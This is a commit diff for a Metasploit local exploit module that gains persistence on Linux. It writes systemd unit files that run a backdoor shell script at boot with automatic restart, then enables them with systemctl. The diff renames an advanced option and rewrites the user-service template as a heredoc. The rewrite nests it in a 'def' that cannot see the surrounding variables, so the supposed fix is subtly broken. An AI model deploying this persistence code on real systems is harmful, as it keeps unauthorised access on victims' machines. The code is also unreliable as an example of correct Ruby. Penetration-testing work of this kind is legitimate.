Fixed heredoc and advanced options casing.

modules/exploits/linux/local/service_persistence.rb

@@ -80,7 +80,7 @@ class MetasploitModule < Msf::Exploit::Local
     )
     register_advanced_options(
       [
-          OptBool.new('ENABLE', [true, 'Enable the service', true])
+          OptBool.new('Enable', [true, 'Enable the service', true])
       ], self.class
     )
   end
@@ -162,7 +162,7 @@ WantedBy=multi-user.target}
       print_error('File not written, check permissions.')
       return
     end
-    if datastore['ENABLE']
+    if datastore['Enable']
       vprint_status('Enabling service')
       cmd_exec("systemctl enable #{service_filename}.service")
     end
@@ -171,19 +171,22 @@ WantedBy=multi-user.target}
   end
 
   def systemd_user(backdoor_path, backdoor_file)
-    script = %{[Unit]
-Description=Start daemon at boot time
-After=
-Requires=
-[Service]
-RemainAfterExit=yes
-RestartSec=10s
-Restart=always
-TimeoutStartSec=5
-ExecStart=/bin/sh #{backdoor_path}/#{backdoor_file}
-[Install]
-WantedBy=default.target}
-
+    def script 
+	<<~EOF
+	[Unit]
+	Description=Start daemon at boot time
+	After=
+	Requires=
+	[Service]
+	RemainAfterExit=yes
+	RestartSec=10s
+	Restart=always
+	TimeoutStartSec=5
+	ExecStart=/bin/sh #{backdoor_path}/#{backdoor_file}
+	[Install]
+	WantedBy=default.target
+	EOF
+    end
     service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)
     home = cmd_exec('echo ${HOME}')
     service_name = "#{home}/.config/systemd/user/#{service_filename}.service"
@@ -204,7 +207,7 @@ WantedBy=default.target}
     systemd_socket_dir = "/run/user/#{systemd_socket_id}"
     vprint_status('Reloading manager configuration')
     cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user daemon-reload")
-    if datastore['ENABLE']
+    if datastore['Enable']
       vprint_status('Enabling service')
       cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user enable #{service_filename}.service")
     end